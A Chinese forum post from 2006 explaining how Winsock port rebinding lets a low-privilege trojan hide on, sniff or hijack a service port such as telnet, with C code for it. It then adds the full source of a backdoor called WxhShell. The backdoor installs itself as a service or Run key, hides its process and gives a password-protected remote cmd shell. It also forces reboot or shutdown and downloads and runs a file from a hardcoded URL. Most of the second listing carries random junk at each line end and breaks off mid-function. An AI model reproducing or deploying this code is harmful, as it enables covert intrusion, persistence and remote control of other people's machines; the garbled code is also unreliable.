[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; qr$=oCqa
if(chr[0]==0xd || chr[0]==0xa) { s d>&6R^
pwd=0; kg7oH.0E
break; \&]'GsfF
} KP[ax2!x
i++; m;lwMrY\7>
} U;:>vi3p
07Yh
// 如果是非法用户，关闭 socket {QTfD~z^K
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^Qrdh0j
} *nluK
x SF#ys4v
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oA}&o_Q%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]|( (&Y rl
ouK&H|'
while(1) { bT*MJ7VVm
S&8gZ~B
ZeroMemory(cmd,KEY_BUFF); ]<A|GY0q1
Z,qo jtw
// 自动支持客户端 telnet标准 [ECSJc&i
j=0; 0K`3BuBs
while(j<KEY_BUFF) { bQow,vf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U5z^R>k
cmd[j]=chr[0]; }XWic88!~
if(chr[0]==0xa || chr[0]==0xd) { /}-]n81m
cmd[j]=0; {7[^L1
break; S3i%7f^C?N
} EQ8jxr<p
j++; WZ'8{XY8
} @a)@1:=Rm
kYl$V=
// 下载文件 _\>?.gg$
if(strstr(cmd,"http://")) { NQ !t`
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;#I(ucB<
if(DownloadFile(cmd,wsh)) -RVwPY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "2}04b|"
else .6+j&{WNo!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `+1+0?9
} 9 bYoWw
else { *TVr| to
'0GCaL*Sd
switch(cmd[0]) { pvQw+jX
WmP"u7I4
// 帮助 :h=];^/E
case '?': { 2)h i(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &Hb6
break; NZ/gp"D?
} F(^vD_G
// 安装 oqB(l[%z2
case 'i': { JGX E{FT
if(Install()) _W/s=pCh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [MdVgJ9'
else HvN!_}[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y[i>
break; di>"\On-
} YH&`+ +
// 卸载 c<wsWs 4V
case 'r': { SN(:\|f 2
if(Uninstall()) kq8:h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $IA(QC_]AO
else 1T!b#x4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2HoTj|
break; tm@&f
} L TZ3r/
// 显示 wxhshell 所在路径 c^><^LGb
case 'p': { ?<]BLkx
char svExeFile[MAX_PATH]; a&6 3[p.<}
strcpy(svExeFile,"\n\r"); AIR,XlD
strcat(svExeFile,ExeFile); {3@f(H m
send(wsh,svExeFile,strlen(svExeFile),0); v{$X2z_$w
break; )~v`dwKj;
} ;"-(QE?Mv
// 重启 .C$S DhJ~
case 'b': { wUW^ O
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rS\j9@=Y4
if(Boot(REBOOT)) x5YW6R.<t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $[T^S
else { ' 7+x,TszI
closesocket(wsh); t*m04* }
ExitThread(0); CeSr~Ikg|
} 2Hw&}8
break; !'wh hi
} D)U 9xA)J
// 关机 g&!UaJ[#9
case 'd': { Hdw;=]-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z,)4(#b =
if(Boot(SHUTDOWN)) !?Gt5$f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?OW 4J0B'
else { \,ARYwd
closesocket(wsh); u n\!K
ExitThread(0); +%7v#CY &
} Q[kbEhv;
break; _t||v
} X0Y1I}gD
// 获取shell ,Md8A`7x~
case 's': { $wg5q\Rv
CmdShell(wsh); L15?\|':Y
closesocket(wsh); nICc}U?k
ExitThread(0); B>rz<bPT
break; r@ujE,D=k
} xHq"1Vs=
// 退出 U(P^-J<n1
case 'x': { FkY}6
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X]8(_[Y
CloseIt(wsh); Q^prHn*@
break; px8988X
} a$r- U_?
// 离开 $nF|n+m
case 'q': { .A<G$ db ?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^ gMoW
closesocket(wsh); h/5|3
WSACleanup(); Z<L}ur
exit(1); ^\ A[^' 9
break; 4&X D
} cWjb149@)
} p.6C.2q~s]
} -}Zck1
n75)%-
// 提示信息 k>E^FB=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fb-Lp#!T39
} q;Tdqv!Ju
} pqe7a3jr
|eykb?j`
return; uzg(C#sp
} WJWi'|C4
KBE3q)
// shell模块句柄 .2"-N5Z
int CmdShell(SOCKET sock) m:B9~lbT+
{ ${m;x:'
STARTUPINFO si; V5:ad
ZeroMemory(&si,sizeof(si)); (StX1g'
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 60,z!Vv
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EQI9J#;+
PROCESS_INFORMATION ProcessInfo; 01=nS?
char cmdline[]="cmd"; M.fAFL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'yxN1JF
return 0; O+x"c3@Z)D
} zU7co.G
WX .Ax$fT
// 自身启动模式 Zc9@G-
int StartFromService(void) oC ?UGY~xL
{ } I>68dS[
typedef struct !C\$=\$
{ 9d&@;&al
DWORD ExitStatus; ^POHQQ
DWORD PebBaseAddress; ypU-/}Cf,
DWORD AffinityMask; dUN{@a\R0
DWORD BasePriority; ' ` _TFTO
ULONG UniqueProcessId; }Q$}LR@
ULONG InheritedFromUniqueProcessId; q9Zp8&<EqH
} PROCESS_BASIC_INFORMATION; T_R2BBT v
F!7dGa$
PROCNTQSIP NtQueryInformationProcess; `eZzYe(N
Ov8^6O
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QN47+)cVt"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vu.VH([b]Q
&O +?#3
HANDLE hProcess; /tm2b<G
PROCESS_BASIC_INFORMATION pbi; n(I,pF
"DaE(S&
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "&Hr)yyWG
if(NULL == hInst ) return 0; a-e_q
"I)/|x\G*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V>Dqw!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +YZ*>ki
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F m?j-'
b@QCdi,u
if (!NtQueryInformationProcess) return 0; <fHJ9(5$V
7Tb[sc'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tGE=!qk
if(!hProcess) return 0; Cj%n?-
%xt;&HE
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q,nJz*AJ
+3uPHpMB-
CloseHandle(hProcess); T@wgWE<0y_
5{/uHscwLa
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'oKen!?A
if(hProcess==NULL) return 0; u9nJ;:
|I[/Fl:
HMODULE hMod; "; 1@f"kw
char procName[255]; P~ : N
unsigned long cbNeeded; d1P|v( `S9
"QD>m7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "I3 #/~q
8Y4mTW
CloseHandle(hProcess); IR2=dQS
dx@|M{jz'
if(strstr(procName,"services")) return 1; // 以服务启动 Mj&G5R~_
s$%t2UaV
return 0; // 注册表启动 Hr_5N,
} `j1oxJm
azz=,^U#
// 主模块 |\zzOfaO
int StartWxhshell(LPSTR lpCmdLine) zu3Fi= |0
{ rJZR8bo
SOCKET wsl; (> W\Nf
BOOL val=TRUE; l~]D|92
int port=0; l-Be5?|{_
struct sockaddr_in door; ]p8zT|bv
* N]^(+/A
if(wscfg.ws_autoins) Install(); },n?
X+1Mv
port=atoi(lpCmdLine); d-3.7nJ:
/#WvC;B
if(port<=0) port=wscfg.ws_port; #x qiGK
]_BH"ng}
WSADATA data; Q,K$)bM
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ({ O~O5k
O8OAXRt/Y
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; (xfh 9=.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .TMLg(2hgv
door.sin_family = AF_INET; }* \*<d 3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,ZghV1z
door.sin_port = htons(port); MaPOmS8?
fat;5XL@
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3eg6 CdT
closesocket(wsl); ^T:L6:
return 1; E!'6vDVC:
} AsD$M*It
G6QD`ED
if(listen(wsl,2) == INVALID_SOCKET) { +h@.P B^`~
closesocket(wsl); |1GOm=GNK
return 1; 6Df*wi!jI
} ,<N{Y[n]e
Wxhshell(wsl); HfZ^ED"}
WSACleanup(); ;L,i">_%u[
Xp] jF^5
return 0; j7U&a}(
u^G Y7gah
} M^*\$K%
Esu{c9,
// 以NT服务方式启动 j]FK.G'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "fr{:'HX
{ ),CKuq>
DWORD status = 0; ? cXW\A(
DWORD specificError = 0xfffffff; /IN#1I!K
I_5/e>9
serviceStatus.dwServiceType = SERVICE_WIN32; U shIQh
serviceStatus.dwCurrentState = SERVICE_START_PENDING; s7afj t
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 76bMy4re
serviceStatus.dwWin32ExitCode = 0; hxzA1s%~
serviceStatus.dwServiceSpecificExitCode = 0; CuD}Uo+u
serviceStatus.dwCheckPoint = 0; O wuc9
serviceStatus.dwWaitHint = 0; &r.M~k >
C{,^4Eh3r
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9dw* ++
if (hServiceStatusHandle==0) return; KF6C=,Yc%
~o#mX?'7
status = GetLastError(); NT0n[o^
if (status!=NO_ERROR) N8pV[\f
{ .XqeO@z
serviceStatus.dwCurrentState = SERVICE_STOPPED; 81"` B2
serviceStatus.dwCheckPoint = 0; Pz34a@%"
serviceStatus.dwWaitHint = 0; _Dd>e=v
serviceStatus.dwWin32ExitCode = status; #|4G,!
serviceStatus.dwServiceSpecificExitCode = specificError; =\_gT=tZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m% 3D
return; HdgNy\
} x!fG%o~h
"w$,`M?2
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?m5EXe
serviceStatus.dwCheckPoint = 0; *L9v(Kc
serviceStatus.dwWaitHint = 0; Gbjh|j=
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #CPLvg#
} 7UY4* j|[C
5[g\.yi2_]
// 处理NT服务事件，比如：启动、停止 ' Ut4=@)
VOID WINAPI NTServiceHandler(DWORD fdwControl) rf-yUH]&S
{ }NoP(&ebz*
switch(fdwControl) hf]m'5pb
{ gyD;kn\CP
case SERVICE_CONTROL_STOP: i(pHJP:a:
serviceStatus.dwWin32ExitCode = 0; 2,dWD<h
serviceStatus.dwCurrentState = SERVICE_STOPPED; $'I&u
serviceStatus.dwCheckPoint = 0; D HT^.UM28
serviceStatus.dwWaitHint = 0; /2zan}
{ ,,BP}f+l$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =/_uk{
} _XT'h;m
return; $,2T~1tE
case SERVICE_CONTROL_PAUSE: PcEE`.
serviceStatus.dwCurrentState = SERVICE_PAUSED; FLs$
break; SOq:!Qt
case SERVICE_CONTROL_CONTINUE: *2u~5Kc<
serviceStatus.dwCurrentState = SERVICE_RUNNING; /W)A[jR
break; =qc+sMo
case SERVICE_CONTROL_INTERROGATE: JLnv O
break; w8>h6x"
}; k'PvTWR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =$Mf:F@
} uf90
GkX Se)#p
// 标准应用程序主函数 ('SId@
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qw:!Rw,x
{ E0R6qS:'
BaW4 s4u
// 获取操作系统版本 uZtN,Un
OsIsNt=GetOsVer(); +:uz=~mo`
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'Zp{
7M~sol[*
// 从命令行安装 Nwz?*~1
if(strpbrk(lpCmdLine,"iI")) Install(); /$CTz xd1
RzjUrt
// 下载执行文件 l>}f{az-T
if(wscfg.ws_downexe) { <BED&j!qvP
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~<f[7dBv
